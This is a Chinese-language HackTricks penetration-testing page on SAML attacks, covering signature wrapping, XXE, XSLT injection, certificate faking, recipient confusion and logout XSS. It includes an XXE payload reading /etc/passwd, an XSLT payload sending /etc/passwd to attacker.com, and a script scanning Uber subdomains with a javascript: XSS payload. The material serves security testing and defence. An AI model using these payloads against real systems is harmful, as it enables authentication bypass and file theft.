# SAML Attacks

## SAML攻击

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

{% content-ref url="saml-attacks/saml-basics" %}
[saml-basics](https://hacktricks.xsx.tw/pentesting-web/saml-attacks/saml-basics)
{% endcontent-ref %}

## 工具

[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor)：一个工具，可以接收URL或URL列表，并返回SAML消费URL。

## XML往返

在XML中，XML的签名部分保存在内存中，然后执行一些编码/解码操作并检查签名。理想情况下，该编码/解码操作不应更改数据，但基于该场景，**正在检查的数据和原始数据可能不相同**。

例如，请查看以下代码：

```ruby
require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```

运行该程序针对REXML 3.2.4或更早版本将导致输出如下：

```
First child in original doc: Y
First child after round-trip: Z
```

这是REXML从上述程序中看到的原始XML文档：

![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e706e5f1607c59d86615f211faa6ca3078a54d3c%2Fimage%20\(561\).png?alt=media)

这是经过一轮解析和序列化后REXML看到的：

![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e5d569d4cbb5724439189d6244e8bc265b00f0d3%2Fimage%20\(562\).png?alt=media)

有关此漏洞及如何利用它的更多信息：

* <https://mattermost.com/blog/securing-xml-implementations-across-the-web/>
* <https://joonas.fi/2021/08/saml-is-insecure-by-design/>

## XML签名包裹攻击

在**XML签名包裹攻击（XSW）中，对手利用一种漏洞，即当XML文档通过两个不同阶段处理时产生的漏洞：签名验证和函数调用**。这些攻击涉及更改XML文档结构。具体来说，攻击者**注入伪造元素**，这些元素不会损害XML签名的有效性。这种操纵旨在在**应用逻辑**分析的元素与**签名验证模块**检查的元素之间创建差异。因此，虽然XML签名在技术上仍然有效并通过验证，但应用逻辑处理**欺诈性元素**。因此，攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**，从而实现了**注入任意内容**而不被检测。

以下攻击基于\*\*[此博客文章](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)**和**[此论文](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)\*\*。因此，请查看这些内容以获取更多详细信息。

### XSW #1

* **策略**：添加一个包含签名的新根元素。
* **影响**：验证器可能会在合法的“Response -> Assertion -> Subject”和攻击者的“恶意新Response -> Assertion -> Subject”之间混淆，导致数据完整性问题。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-f4aeb37697d81f7cd8dd4fd93d91aa2257752831%2Fimage%20\(538\).png?alt=media)

### XSW #2

* **与XSW #1的不同**：使用分离签名而不是包裹签名。
* **影响**：类似于XSW #1，"恶意"结构旨在在完整性检查后欺骗业务逻辑。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-aa0bbae175ca1b2d70e0363d00960a2d4634552a%2Fimage%20\(539\).png?alt=media)

### XSW #3

* **策略**：在与原始断言相同的层次结构级别上制作恶意断言。
* **影响**：旨在混淆业务逻辑以使用恶意数据。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5f60b204de9eb4d56c47fa54d512e9087f77b1e7%2Fimage%20\(540\).png?alt=media)

### XSW #4

* **与XSW #3的不同**：原始断言变为重复的（恶意）断言的子级。
* **影响**：类似于XSW #3，但更积极地改变XML结构。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-0f391e25e2fa6688358a358cb17e9a6c8d594d9f%2Fimage%20\(541\).png?alt=media)

### XSW #5

* **独特之处**：签名和原始断言均不符合标准配置（包裹/包裹/分离）。
* **影响**：复制的断言包裹签名，修改了预期的文档结构。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ad74964a91ea2d4a1b1b7c6f72af2529aabdd93e%2Fimage%20\(542\).png?alt=media)

### XSW #6

* **策略**：与XSW #4和#5相似的位置插入，但有所不同。
* **影响**：复制的断言包裹签名，然后包裹原始断言，创建一个嵌套的欺骗结构。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-33e83280f7faa97e67613f2c8a262c7ba0bdf675%2Fimage%20\(543\).png?alt=media)

### XSW #7

* **策略**：插入一个Extensions元素，其中包含复制的断言作为子元素。
* **影响**：利用Extensions元素的较少限制模式来绕过模式验证对策，特别是在像OpenSAML这样的库中。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-86f1941128629a81ded96abb807196d568836e2f%2Fimage%20\(544\).png?alt=media)

### XSW #8

* **与XSW #7的不同**：利用另一个较少限制的XML元素进行攻击变体。
* **影响**：原始断言变为较少限制元素的子元素，颠倒了XSW #7中使用的结构。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-383925ef9d2174e217aa811682a838b4fc331cd8%2Fimage%20\(545\).png?alt=media)

### 工具

您可以使用Burp扩展[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)来解析请求，应用您选择的任何XSW攻击并启动它。

## XXE

如果您不知道XXE攻击是什么，请阅读以下页面：

{% content-ref url="xxe-xee-xml-external-entity" %}
[xxe-xee-xml-external-entity](https://hacktricks.xsx.tw/pentesting-web/xxe-xee-xml-external-entity)
{% endcontent-ref %}

SAML响应是**压缩和Base64编码的XML文档**，可能容易受到XML外部实体（XXE）攻击的影响。通过操纵SAML响应的XML结构，攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```

## 工具

您还可以使用Burp扩展[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)从SAML请求生成POC，以测试可能存在的XXE漏洞和SAML漏洞。

还可以查看这个讲座：<https://www.youtube.com/watch?v=WHn-6xHL7mI>

## 通过SAML进行XSLT

有关XSLT的更多信息，请访问：

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations](https://hacktricks.xsx.tw/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations)
{% endcontent-ref %}

可扩展样式表语言转换（XSLT）可用于将XML文档转换为各种格式，如HTML、JSON或PDF。需要注意的是**XSLT转换是在数字签名验证之前执行的**。这意味着即使没有有效签名，攻击也可能成功；自签名或无效签名就足以继续。

在这里，您可以找到一个**POC**来检查这种漏洞，您可以在本节开头提到的hacktricks页面中找到有效载荷。

```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```

### 工具

您还可以使用Burp扩展程序[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)生成来自SAML请求的POC，以测试可能存在的XSLT漏洞。

还可以查看这个讲座：<https://www.youtube.com/watch?v=WHn-6xHL7mI>

## XML签名排除 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>

**XML签名排除**观察SAML实现在Signature元素不存在时的行为。如果缺少此元素，则**可能不会进行签名验证**，从而存在漏洞。可以通过更改通常由签名验证的内容来测试此功能。

![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-03419b6f41c2fe6f273f90412f494b849f69abb9%2Fimage%20\(547\).png?alt=media)

### 工具 <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>

您还可以使用Burp扩展程序[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截SAML响应并单击`Remove Signatures`。这样做会删除**所有** Signature元素。

删除签名后，允许请求继续到目标。如果服务不需要签名

## 证书伪造 <a href="#certificate-faking" id="certificate-faking"></a>

证书伪造是一种测试**服务提供商（SP）是否正确验证SAML消息是否由受信任的身份提供商（IdP）签名**的技术。它涉及使用**自签名证书**对SAML响应或断言进行签名，有助于评估SP和IdP之间的信任验证过程。

### 如何进行证书伪造

以下步骤概述了使用[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp扩展程序的过程：

1. 拦截SAML响应。
2. 如果响应包含签名，请使用`Send Certificate to SAML Raider Certs`按钮将证书发送到SAML Raider Certs。
3. 在SAML Raider Certificates选项卡中，选择导入的证书，然后单击`Save and Self-Sign`以创建原始证书的自签名克隆。
4. 返回到Burp代理中拦截的请求。从XML签名下拉菜单中选择新的自签名证书。
5. 使用`Remove Signatures`按钮删除任何现有签名。
6. 使用适当的\*\*`(Re-)Sign Message`**或**`(Re-)Sign Assertion`\*\*按钮，使用新证书对消息或断言进行签名。
7. 转发已签名的消息。成功的身份验证表明SP接受由您的自签名证书签名的消息，揭示了SAML消息验证过程中的潜在漏洞。

## 令牌接收者混淆 / 服务提供商目标混淆 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>

令牌接收者混淆和服务提供商目标混淆涉及检查**服务提供商是否正确验证响应的预期接收者**。实质上，服务提供商应拒绝认证响应，如果它是为不同提供商而设计的。关键元素在于SAML响应的**SubjectConfirmationData**元素中的**Recipient**字段。该字段指定了必须发送断言的URL。如果实际接收者与预期的服务提供商不匹配，则应将断言视为无效。

#### **工作原理**

要使SAML令牌接收者混淆（SAML-TRC）攻击可行，必须满足一定条件。首先，在服务提供商（称为SP-Legit）上必须有一个有效帐户。其次，目标服务提供商（SP-Target）必须接受来自为SP-Legit提供服务的相同身份提供商的令牌。

在这些条件下，攻击过程很简单。通过共享的身份提供商与SP-Legit建立真实会话。拦截来自身份提供商发送到SP-Legit的SAML响应。然后将最初针对SP-Legit的拦截SAML响应重定向到SP-Target。攻击的成功度通过SP-Target接受断言并授予对使用于SP-Legit的相同帐户名称的资源访问来衡量。

```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```

## 注销功能中的 XSS

可以通过[此链接](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)访问原始研究。

在目录强制搜索过程中，发现了一个注销页面位于：

```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```

访问此链接后，发生了重定向到：

```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```

这表明`base`参数接受一个URL。考虑到这一点，想法是用`javascript:alert(123);`替换URL，试图发起XSS（跨站脚本攻击）攻击。

### 大规模利用

[根据这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)：

使用[SAMLExtractor](https://github.com/fadyosman/SAMLExtractor)工具分析`uberinternal.com`的子域，查找使用相同库的域。随后，开发了一个脚本来针对`oidauth/prompt`页面。该脚本通过输入数据并检查其是否反映在输出中来测试XSS（跨站脚本攻击）。在输入确实反映的情况下，脚本将标记该页面为易受攻击。

```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)
```

## 参考资料

* <https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/>
* <https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/>\\
* <https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/>
* <https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
